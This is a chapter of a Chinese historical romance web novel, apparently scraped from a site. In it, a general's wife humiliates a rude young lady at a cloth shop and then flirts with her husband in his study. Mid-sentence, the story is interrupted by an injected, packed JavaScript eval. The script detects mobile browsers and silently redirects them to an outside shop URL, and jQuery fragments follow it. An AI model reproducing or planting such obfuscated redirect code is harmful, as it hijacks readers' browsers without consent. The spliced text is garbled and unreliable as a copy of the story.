文趣网 > 其他小说 > 矜棠 > 17. 妖孽
    元宥音动作很快,一天的时间研究,第二日就将方子送去了工坊,赶在和方明瑶约见的前一天,就把新品制了出来。

    玉颜楼有一家长期合作的工坊,这一块上通常时交由全福负责的,不过今天她起了兴致,自己走了一趟坊巷,出来时顺便与云岫逛起了街市。

    “夫人您瞧,这个料子制成的衣裳肯定好看。”

    走进一家制衣坊,云岫举起张料子,兴致勃勃。

    元宥音闻言看去,确实被花色和纹样吸引,抬手摸去,质感同属上乘。

    掌柜的看她俩神情,觉得有戏,介绍时不免多了份热切:“这位娘子好眼光,夫人这匹雪纱是新进的料子,质地柔软又清透,不仅好看,到时入夏了穿着也是极为舒服的。”

    不论是太师府还是将军府,每季的新衣都会有专人登门,负责裁量和缝制,所以元宥音犯不上在外操心买料子,但她听这掌柜说的煞有介事,便也动了想买的心思。

    一匹料子而已,她不多作犹豫,正要开口时,却听到一句刺耳锐利的声音在不远处响起。

    “这么好的料子可不适合四姐姐,要不还是给妹妹我吧。”

    这话说得尖酸刻薄,偏偏听音色,对方应该还只是一个年纪不大的姑娘家。

    托方明瑶的福,元宥音现在对“四”这个字眼,都敏感了许多,冲突发展在背后,她不欲多管闲事,却有点想转身一探究竟。

    她没来得及动,就听见那位四姐姐先一步说道:“我初来京城,对这料子确实不大懂,但既然妹妹想要,那估计便不是什么好的,姐姐让给你便是。”

    初来京城,家里行四。

    元宥音知道她是谁了,这位方明瑶确实是个妙人。

    “你!不过从岭南那种穷乡僻壤的地方出来的人,哪会懂这种东西?这料子给你穿着也是白搭。”

    同样猜到对方身份的云岫与她对视一眼,元宥音轻嗤一声,笑意盈盈地转过身去,一把团扇徐徐摇着:“这位妹妹说得对,衣服嘛,再好看也得看是穿在谁身上。”

    铺前,两位姑娘分站对立,中间夹着的小二面色为难,显然是被这棘手的局面闹得头大。

    “你又是何人?”身穿明黄色衣裙的姑娘长相稚嫩,气焰上却是十足的张扬,见有人搭腔,话锋一转便对上了她。

    岁数不大,脾气却不小。

    用不着元宥音出声,云岫率先护道:“这位小姐烦请好生同我家夫人说话。”

    另一位女子作简单打扮,钗镮寥寥,宝蓝色云裳衬得她气质娴静,相较于明黄色裙子的姑娘的咄咄逼人,她保持沉默,更沉得住气。

    元宥音不动声色地打量她,心下满意。

    她刚刚那句话没表明立场,听不出来是在帮谁,是敌是友尚未确定,方明瑶按兵不动才为佳计。

    “夫人?”方明茜嘟囔一声,目光毫不收敛地落在元宥音身上,明目张胆地扫视着她。

    全然不顾这番举动极其有违贵女做派。

    元宥音抬扇掩唇,遮去了一抹轻笑,难怪她不认识这方家的小姐,这样上不得台面的人连见她的资格都没有。

    方明茜见她似笑非笑,眉头一皱,正好发作,就听元宥音柔柔问道:“妹妹怎么称呼?”

    “方家三小姐,方明茜。”她本是不愿意说的,因为元宥音都没告诉她自己是谁,但念在她的态度温和,于是勉为其难道。

    元宥音颔首,不疾不徐地笑了笑。

    方明茜被她这种不咸不淡的模样弄得有些恼火,正要追问她的身份,就被身边的丫鬟扯了扯衣袖,附耳低语后,方明茜的脸色一变。

    元宥音尽收眼底,大户人家培养的丫鬟常常肩负着重担,为了不让像方明茜这类的草包闯祸,她们都会熟知京城各家达官显贵,显然,方明茜身边的这个丫鬟比她有眼力见多了。

    “你、你是……”

    “将军夫人。”元宥音替她把话说完,唇角微扬,语气温和,“夫君霍治,方三小姐在京城长大,应该听过才是。”

    她都懒得报元珵的名号,光凭霍治这段时间的风头,足够让这位不知天高地厚的小姐掂量掂量了。

    一直没出声的方明瑶闻言,眼神一沉。

    方明茜当然听过她,京城里谁人不知道她元宥音,绝色无双又身份显贵,就连性子也是说一不二,敢给当朝虎将甩脸色,换了其他任何一人都不见得有她这份底气。

    她方家本家在岭南,京城的这个说白了还要靠岭南接济,仗着天高皇帝远,欺负欺负方明瑶这个外来人就算了,给她十个胆,她也不敢惹元宥音这个皇亲国戚。

    刚刚还嚣张的气焰瞬间歇了火,方明茜讪讪行了一礼:“见、见过将军夫人。”

    方明瑶同样福身,态度不卑不亢,恰到好处地稳当。

    元宥音眼里的赏识更多了几分,侧身虚扶了一把方明瑶:“四小姐不用客气。”

    等她站稳,才随意对方明茜说道:“三小姐也是。”

    方明茜草包归草包,但她再傻也听得出来,元宥音这是来给方明瑶撑腰来的,局势不利于她,她下意识就想走,却被她止了脚步。

    “方才我听,两位小姐看上了同一匹料子?”元宥音不让她如愿,抬扇的手晃了晃,“劳四小姐指指看?宥音可是有些好奇呢。”

    方明茜咬紧牙关,拿起那匹料子,强挤出笑来。

    “就是这个啊,我瞧着也就一般呢,倒是很适合三小姐啊。”

    料子一般,却适合她?方明茜气得后槽牙痒痒。

    “这样吗、是妹妹看走眼了。”

    不就是拉偏架嘛,元宥音做什么都是信手拈来,身侧的云岫见方明茜不忿的样子,快要憋不住笑。

    元宥音说着,分出心神来,偷偷瞥了眼方明瑶。

    女子脸色如初,挂着抹得体的微笑,既不搭腔,踩她一脚,也不见受了委屈的感觉。

    不骄不躁。

    一家子出来的人,怎么就差这么多?

    方明茜这样的,搓过锐气就罢了,元宥音没有死咬着她不放,见她忍着气愤不敢还嘴,便见好就收,让她离开了。

    “多谢夫人。”待她一走,方明瑶向她说道。

    元宥音摆摆手,莞尔:“客气了。”

    明日便要去上香,都是聪明人,她相信方明瑶能猜出她刚刚这一出手,并非全然路见不平,而是存了私心在。

    如她所言,方明瑶确实知晓,刚才那一出就算元宥音没有出现,她自己也可以处理妥当,但她既然帮了,方明瑶愿意承她这份情。

    她主动说道:“夫人方才可有看中的料子,若不嫌弃便由明瑶做东,也算是答谢夫人的解围。”

    “好啊。”元宥音笑意深了些,直白了当地就指了那匹雪纱。

    方明瑶不差钱,买下这匹雪纱,既是为了还情答谢,更重要的是在谈合作前,把人情还了,将两人地位放平。

    元宥音了然于胸。

    直到回府后,都还在想着方明瑶,无论是从为人还是处事上,这都是个极佳的合作对象,便是明日谈不成,她也想交这么一个朋友。

    元宥音换了一身居家的衣裳,心念一动去了书房,有了上次霍治的交代,她放心了许多,站在书架前打量起来。

    将军府的书房不比她家雅致,元珵会在案上摆君子兰,精致搭配博古架的饰物,而霍治这里就如他本人一样,简单干净,一切都是最基础的模样。

    不是她没趣,是实在没什么好看的,元宥音看了一圈,就将整间房内的构造看了个大概,随后便去架子上挑起书来。

    她原以为像他这样的,平日里应该看的都是些兵法,没想到在架子上,还能见到杂书的踪迹,聊斋志异、通古诗文……种类繁多。

    就在她正好取下一本地方志时,院外

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491017|202225||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    传来了一阵沉稳的脚步声。

    元宥音收回手,见来人:“今天回来得这么早?”

    天色未暗,确实不是他平时的作风。

    “校场无事,便回来得早了些。”霍治掀帘进来,“要看哪本?”

    他一手撑在桌上,另一手抬高,等着她的吩咐。

    元宥音秀眉轻挑,刚要指出原本要看的那本地方志,转念一想,指尖便换了个方向,往高处去:“那本。”

    其实她连册封的书名都没看清。

    他不作它想,即使是她有心为难,指的地方比较高,对他而言,似乎只不过是伸手的事,就连踮脚也不需要。

    太欺负人了吧,元宥音丈量着差距,不由地感慨。

    霍治不知道她心里的小九九,取下书,递给她时,目光在她脸上停了一瞬。

    “岭南地方志?”元宥音扫一眼书名,随即弯起唇角,倒是巧了。

    “找书是为了合作的事?”霍治问道。

    元宥音奇怪他的敏锐:“为什么这么问?”

    “那方氏本家不就在岭南。”霍治解释。

    元宥音翻书的手一顿,啪得一下把书合上:“你怎么知道?”

    “方家幺子在我营里。”当兵第一日都要调查背景籍贯。

    霍治说得冠冕堂皇,又有理有据,元宥音差点被他一本正经的模样糊弄住,很快意识到,有专人负责录籍,他是手握兵权第一人,底下带的人那么多,他怎么能一个个记住人家是从哪来的。

    元宥音狐疑地瞥他,旋即笑道:“我问过你之后,你特地去查了人家,对吧?”

    霍治没回答,短暂的沉默给了她答案。

    这人……

    元宥音心头一软,她生意上的事与他无关,他却能因为她提及过,就上了心,实在难得。

    他的这份心意,远比花言巧语更能哄她开心。

    “霍长嶷,我发现你变了。”

    霍治愿闻其详。

    元宥音举着书,用书角轻戳了戳他心窝,煞有介事地说道:“你现在变得特别不矜持!”

    她可没忘记成婚那晚,某人宁愿躲书房一整夜,次日早早出征,也不愿意和她共处一室,避她如蛇蝎。

    “怕不是被脏东西上身了吧?”她玩笑着,又点了他几下,“何方妖孽?快快把我夫君还回来。”

    霍治由她闹着,寸步未移,她话音刚落地,便握住了她举书的手,而元宥音站在他与书架之间,怕她磕碰到,他另一只手又虚护上了她的背。

    知道她金贵着,担心弄疼了她,霍治两只手都不敢使多大劲儿。

    她本是笑着的,怎知这人学坏了,一言不合就要上手,被他这样半圈半护的姿势搂着,元宥音耳尖不知不觉地就染上了薄红。

    霍治低头看她,没错过她的反应,目光落在她那双强装镇定的眼睛上:“验验吧。”

    “什、什么?”元宥音问。

    书被他抽走,随意搁置在背后的桌案上,她手被引着往他胸口上按去,正是她刚刚戳的位置。

    “不是说有脏东西吗?妖孽可没有心跳。”

    掌心下,随着他说话的声音起起伏伏,春衫盖不住的心跳沉稳有力,一下一下,渐渐地,竟好似与她的同频了起来。

    元宥音强撑着与他对视,被他眼里滚烫的温度灼得脸热。

    其实,她对越人崇尚的仙风道骨并不感兴趣,元珵除了德高望重,他的美名也同样冠绝京城,大概是从小耳濡目染,她觉得那些世家女所追捧的清客雅士都很平淡,因为在她看来再怎么样,也越不过她爹去。

    但霍治这样的就不同了,战场上摸爬滚打出来的人哪会有文人的温润,他的每一寸轮廓都带着刀锋般的冷硬,身上那股原始的力量感粗粝,时常让人觉得他像是一头凶兽。

    元宥音忽然觉得,那些白面书生在他面前,显得寡淡了不少。